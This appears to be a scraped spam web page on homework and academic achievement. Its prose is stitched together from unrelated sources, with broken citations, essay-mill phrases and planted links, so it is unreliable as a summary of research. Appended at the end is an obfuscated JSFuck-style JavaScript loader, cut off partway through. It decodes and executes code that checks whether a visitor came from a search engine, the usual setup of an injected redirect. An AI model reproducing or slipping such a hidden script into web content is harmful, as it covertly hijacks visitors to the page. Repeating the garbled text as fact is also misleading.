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Are certain types of homework beneficial for learning certain types of skills? Many media reports about education compare U. When we speak of personality this way, we’re taking a trait approach, and the most common of the trait models is known as the Big Five. Arguments against homework are becoming louder and more popular, as evidenced Academic paper generator by several recent books as well as an editorial in Time magazine Wallis, that presented these arguments as truth without much discussion of alternative perspectives. Retrieved from  » https: Read this story in the January issue of Afterwords. Homework also appears to facilitate learning for Asian American students to a greater extent than it does for students of other ethnic and racial heritages, although, notably, the reasons for such a difference are not clear. EpsteinJLDauberSL School programs and teacher practices of parent involvement in inner-city elementary and middle schools Elementary School Journal 91 Google Scholar Crossref. By attending all conferences, you increase the effectiveness of the meetings and always have a voice in the discussion. Resources are also available for parents looking to help Some researchers are urging schools to take a fresh look at homework and its potential for engaging students and improving student performance. Finding a preschool might seem at first like just another routine chore of parenthood, another box to check off right about the time your kid turns 2 or 3. Practice assignments do improve scores on class tests at all grade levels. HarrisSNixonJRudduckJ School work, homework and gender Gender and Education 51 3 14 Google Scholar. It can help students recognize that learning can occur at home as well as at school. ASCD on Facebook External Link ASCD on Twitter External Link ASCD on Pinterest External Link ASCD on Instagram External Link ASCD on LinkedIn External Link ASCD on Youtube External Link ASCD EDge External Link. Xu, Jianzhong; Yuan, Ruiping Beyond achievement, proponents of homework argue that it can have many other beneficial effects. Should all kids learn to code? Data First How good are your schools? Wikimedia Commons has media related to Homework. Even taken on its own terms, the research turns up some findings that must give pause to anyone who thinks homework is valuable. For students in Grades 6 and 7, up to an hour of meaningful homework per night can be beneficial. How old are the students? LovelessT The Brown Center Report on American education: This is where parents need to get more involved and monitor to see if they are completing their homework. In reading « How US Children and Adolescents Spend Time: Articles of Interest Does Homework Improve Academic Achievement? Also, try to get as much done as possible while you are at schooland take the « gimme » grades and extra credit. Get a special notebook and keep all your assignments in it. Some have argued that homework can increase the achievement gap between students from affluent and poor families.

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Por ello, no debemos culpar a nadie si algo falla. A male birth control shot may be on the horizon, and may provide competition for another product being tested — the male pill. Data First How good are your schools? Homework can cause tension and conflict in the home as well as at school, and can reduce students’ family and leisure time. The additional time to practice skills under the supervision of a parent seems to be a successful method for meeting the learning needs of these students. This question is not easily answered Homework in itself isn’t meaningful However, their parents’ help was viewed as facilitating homework completion, and held similar attitudes to the parent’s attitude toward homework. This may take a few seconds. Louis, says the results are plausible but that he needs more convincing, especially since the study was funded by a chewing gum company. Fourth graders who did no homework got roughly the same score as those who did 30 minutes a night. Effects of motivation, interest, and academic engagement Journal of Educational Research 95 Google Scholar. Grades Social Studies: In a longitudinal study conducted by Keith, Diamond-Hallam, and Fine , researchers used structural equation models to examine the effects of in-school versus out-of-school homework on high school students. The association between homework and achievement, in other words, may be the result of another, not studied, factor that influences both. Wikimedia Commons has media related to Homework. However, they used their time more efficiently than neurotic students, as their strategy use revealed. You might also be interested in. Those in the middle, who said they did minutes a night, got slightly higher scores. Eat a snack, have a cup of coffee, play with the dog, etc. What It Does and doesn’t Tell Us About Their Development » an awareness has been created showing us that children spend a lot of their time watching TV or playing on the computer. Why shouldn’t children have homework? You might think that open-minded people who review the evidence should be able to agree on whether homework really does help. So how can you know if your child is doing the right amount? A Synthesis of Research, — In this article, the authors summarize research conducted in the United Homework , or a homework assignment, is a set of tasks assigned to students by their teachers to be completed outside the class. A productive play is purposeful and pragmatic. Or that a complete absence of homework would have any detrimental effect at all. From Wikipedia, the free encyclopedia. Noninstructional homework may be assigned to 1 help students develop time-management and work skills, 2 improve communication between parents and children, 3 encourage students to work with their peers, or 4 fulfill school or district homework requirements. Some problems in the organization of homework Teachers College Record 85 Google Scholar. As the authors note in their own discussion,. How long should school homework take? That, of course, would depend on the kind of homework students receive. Xu, Jianzhong; Yuan, Ruiping Adam Maltese Print-Quality Photo. Specifically, traditional, daily, and graded homework had the greatest positive impact on student achievement in the fourth and fifth grades.

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With the onset of the Vietnam War, attention was diverted from the academic excellence movement, and public opinion swung once again away from support for homework. Ideally, schools will start to implement this for all children but for now parents can encourage their child to engage is some type of exercise before they head off to school. Sunday, October 24, Does Homework in the Primary Grades Improve Academic Performance? There are no active widgets to be displayed. How Does Homework Help? Understand how your child differs from you. Music and language have a special relationship that Kraus and her team are only beginning to understand. Bauwens, Jeanne; Hourcade, Jack J. Stress was especially evident among high school students. But insisting that they do two hours of homework every night is expecting a bit much. Financial report writing course outline Psychological research proposal topics Che research paper 48 Research papers on social sciences Native american research project 4th grade Paper writing for dummies How do your teachers handle homework? Researchers have also focused their attention on the effects of homework among various ethnic or socioeconomic groups. But a funny thing happened ten years later when he and a colleague looked at homework alongside other possible influences on learning such as quality of instruction, motivation, and which classes the students took. Does Nightly Homework Improve Academic Achievement? Does the effect of homework vary with students’ age? One of the most frequently cited studies in the field was published in the early s by a researcher named Timothy Keith, who looked at survey results from tens of thousands of high school students and concluded that homework had a positive relationship to achievement, at least at that age. Send us your letters. As expected, JES lives in a little house full of books and photographs. As for more recent studies looking for a relationship between achievement and time spent on homework, the overall correlation was about the same as the one found in VOICES Black Voices Latino Voices Women Queer Voices Asian Voices Parents. In fact, some studies suggest that homework may be detrimental to younger students. Teachers’ roles in designing homework Educational Psychologist 36 Google Scholar. Invite him to study or do homework with you often. How student, family, and parenting-style differences relate to the homework process Contemporary Educational Psychology 25 Google Scholar. Their study, which addressed several concerns regarding the possible effects of students’ age, yielded these findings:. If a district or school discards homework altogether, however, it will be throwing away a powerful instructional tool. First, Neuroticism is also often phrased and measured as its opposite, « Emotional Stability » – which is expressing calmness and freedom for persistent emotions. Get a special notebook and keep all your assignments in it. Procrastination was predicted most strongly by Conscientiousness a finding that is consistent in the literature, see for example my previous blog Personality: Children and teens need between 10 and 12 hours of sleep a night — more than an adult needs, because your bodies are still growing!

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About Bright Hub Education Contact Us Advertise With Us RSS Terms of Use Privacy Policy Copyright Policy. Research casting doubt on that assumption goes back at least to , when a study found that assigning spelling homework had no effect on how proficient children were at spelling later on. September 23, Harris Cooper Practice assignments do improve scores on class tests at all grade levels A little amount of homework may help elementary school students build study habits. However, both within and across design types, there was generally consistent evidence for a positive influence of homework on achievement. Markow, Dana; Kim, Amie; Liebman, Margot , The MetLife Survey of the American Teacher: Turn off more accessible mode. But it’s tricky to draw conclusions from homework studies, because these studies use such varied ways of measuring a student’s academic performance, Pope said. So, how much homework should students do? Grades Social Studies: Some have argued that Formative essay example homework can increase the achievement gap between students from affluent and poor families. And he reports that each year my students have performed better on the AP Economics test. Professional College Homework Help for Students; Order all your homework assignments from a truly remarkable online service. Some researchers report that despite media reports of a public revolt against homework, the majority of parents, educators, and policymakers support homework. Want and common car park gang Homework for junior high students appears to reach the point of diminishing returns after about 90 minutes a night. ColemanJSHofferTKilgoreSHigh school achievement New York Basic Books Google Scholar. Keep the notebook with you so you will always know wh … at your work will be. Get the GreatSchools newsletter – our best articles, worksheets and more delivered weekly. Supposed benefits include immediate achievement and learning, long-term academic benefits, nonacademic benefits, and benefits to parents and families. You may improve this trawniki.rzeszow.pl article , discuss the issue on the talk page , or create a new article , as appropriate. If you put in an honest effort it will be really easy! Education World’s « Principal Files » team shares their thoughts on those questions and others. Performance Submitted by Anna Damaris on March 25, – 1: Search For Journalists Archives Site Index Contact Us Public Affairs. With sections on homework, charter schools, and rural school achievement Washington, DC Brookings Institution Press Google Scholar. There rateit.com should be some sort of consistency in the amount of homework that is given per grade level. Less authoritative are 12 studies that link the amount of homework to achievement, but control for lots of other factors that might influence this connection. Cari Nierenberg, Live Science Contributor Cari Nierenberg has been a contributor to Live Science since Find a Therapist Therapists: Does Homework Help Children Learn? An intervention in the middle grades Family Relations 47 Google Scholar. A guide for motivating young people Cambridge, UK Cambridge University Press Google Scholar. That’s the conclusion of a group of Australian researchers, who have taken the aggregate results of several recent studies investigating the relationship between time spent on homework and students’ academic performance. miguelgu.000webhostapp.com HedgesLVVeveaJL Fixed and random effects models in meta-analysis Psychological Methods 3 Google Scholar. He added that when required reading is included as a type of homework, the minute rule might be increased to 15 minutes.

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Most homework’s neutral or negative impact on students’ academic performance implies there are better ways for them to spend their after school hours than completing worksheets. Throughout the s and s, the majority of adults supported and endorsed homework for its character-building and academic benefits. Leave a Reply Cancel reply Your email address will not be published. Student reflections on parent involvement with homework Journal of Research and Development in Examples of title pages for research papers Education 31 Google Scholar. Homework has been identified in numerous studies and articles as a dominant or significant source of stress and anxiety for students. SEDL merged with the American Institutes for Research AIR on January 1, With sections on homework, charter schools, and rural school achievement Washington, DC Brookings Institution Press Google Scholar. A Concern for the Whole Family The Basics Why Do Teachers Assign Homework? Kralovec and Buell proposed that the public’s belief in the effectiveness of homework is based on three homework myths:. Instead, its primary purpose is to artificially spread out the scores in order to facilitate ranking students against each other. Countries Should Adopt Sugar Tax, Says World Health Organization. KralovecEBuellJThe end of homework: Beyond achievement, proponents of homework argue that it can have many other beneficial effects. Small Town, Big Tech. A tentative thesis statement One group of students was required to do homework and turn it in to be graded. In Learning Tips and Study Habits. Resources Authors Editors Reviewers Librarians Researchers Societies. Yes, of course, procrastination is a key variable here, and personality does make a difference in students’ homework behavior and academic achievement. As reported in one study, students in predominantly minority schools do less homework than those in predominantly white schools. Subscribe to this RSS feed. There are actually schools like this that teach children to read blindfolded and completely activate their psychic ability. The amount of time a student reports spending on homework can differ from a parent’s report of it, and it can also differ from the amount of time a teacher estimates students will need in order to complete the assignment, Kralovec explained. The last, and most common, way of measuring achievement is to use standardized test Sue jones at her desk scores. For instance, although student achievement has been found to be higher in classes where homework was assigned than in classes without homework, methodological weaknesses temper the strength of the conclusions that can be drawn from these studies. Alfie Kohn, a critic of homework, recently wrote, « There was no consistent linear or curvilinear relation between the amount of time spent on homework and the child’s level of academic achievement » , Digital reading program takes literacy to new level. How homework is hurting our children and what we can do about it. Many school district policies state that high school students should expect about 30 minutes of homework for each academic course they take a bit more for honors or advanced placement courses. Homework reinforces what was learned in school, and this type of repetition is a form of cognitive learning. Get Involved Essay kolcaba Membership Educator Advocates Affiliates Connected Communities Student Chapters Professional Interest Communities InService Blog. Homework evaluates whether you know the material or not. Resource Center The Total Focus Program Books for Parents. Money LIFE The Daily Cut. What Is Aspirin — And Should You Take It Daily? The research on this question is very mixed. As Figure 1 indicates, homework has decades of research supporting its effective use. In elementary school, there is no measurable correlation between homework and achievement. ALSO IN THIS GUIDE Our students get significantly less homework than their counterparts across the globe.

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If your child is regularly doing homework for two hours or more each night, there could be a number of reasons. Network Top Ten Reviews Tom’s Guide Laptop Mag Tom’s Hardware Business News Daily Tom’s IT Pro Space. Grade 7 and above the base-year sample in this longitudinal data set consisted of 19, students drawn from classes. While exercise may improve concentration and focus as does medication , there is more needed to help an ADHD kid succeed at school and life. Critics of assigning homework to children argue that the practice causes undue stress for children and does not necessarily improve academic performance or knowledge. Rob was a writer and editor at Space. Specific types of homework can be very beneficial to students with learning disabilities, however. Studies have also looked at how long students of various ability levels spend on homework. The effects of homework on learning: Da Capo Life Long. The NSA Has Changed the American Way of Life August 18, Perhaps the most important advantage of homework is that it can enhance achievement by extending learning beyond the school day. The authors examined survey and transcript data of more than 18, 10th-grade students to uncover explanations for academic performance. Younger children have less developed study habits and are less able to tune out distractions at home. These types of studies, often based on national samples of students, also find a positive link between time on homework and achievement. The Case for Homework.

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However, his misunderstanding or misrepresentation of the research sends the inaccurate message that research does not support homework. This question is not easily answered Homework in itself isn’t meaningful However, their parents’ help was viewed as facilitating homework completion, and held similar attitudes to the parent’s attitude toward homework. The results have been positive: The Cooper synthesis a reported that for junior high school students, the benefits increased as time increased, up to 1 to 2 hours of homework a night, and then decreased. In my experience, teachers can almost always identify several students who do poorly on standardized tests even though, by more authentic and meaningful indicators, they are extremely talented thinkers. Remember me Forgotten your password? BalliSJ When Mom and Dad help: LindsayC Home study versus class room instruction Mississippi Educational Advance 20 88 89 Google Scholar. What do you think about your child’s homework load? My feeling is that homework policies should prescribe amounts of homework consistent with the research evidence, but which also give individual schools and teachers some flexibility to take into account the unique needs and circumstances of their students and families. Even when you take account of all these variables, the bottom line remains that no definite conclusion can be reached, and that is itself a significant conclusion. You know the drill. Slideshow Show Your Children How Special They Are. Studies suggest that to perform at their best in school, kids in second grade need sufficient sleep , playtime with their siblings and friends, and downtime, meaning time to transition from school to home. At first they found a very small relationship between the amount of homework that students had had in high school and how well they were currently doing. The third found benefits at two of three grade levels, but all of the students in this study who were assigned homework also received parental help. Hoover-DempseyKVBattiatoACWalkerJMTReedRPDeJongJMJonesKP Parental involvement in homework Educational Psychologist 36 Google Scholar Crossref. Our students get significantly less homework than their counterparts across the globe. Send us your letters. The results, while not clear cut, suggest the following lessons:. By Valerie Strauss By Valerie Strauss November 19, Follow valeriestrauss. PludeDJEnnsJTBrodeurD The development of selective attention: Study and Learning Tips. ATA News ATA Magazine The Learning Team About The Learning Team; Volume 18; Does homework help or hinder a student’s ability to learn? A quasi-experimental study by Van Voorhis looked at science homework involving interaction between parent and student to measure its impact on family involvement and academic achievement.

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TPRV6

$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,48,56,57,52,54,119,53,72,84,77,76,60,34,112,47,63,38,95,43,85,67,65,44,58,37,122,51,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!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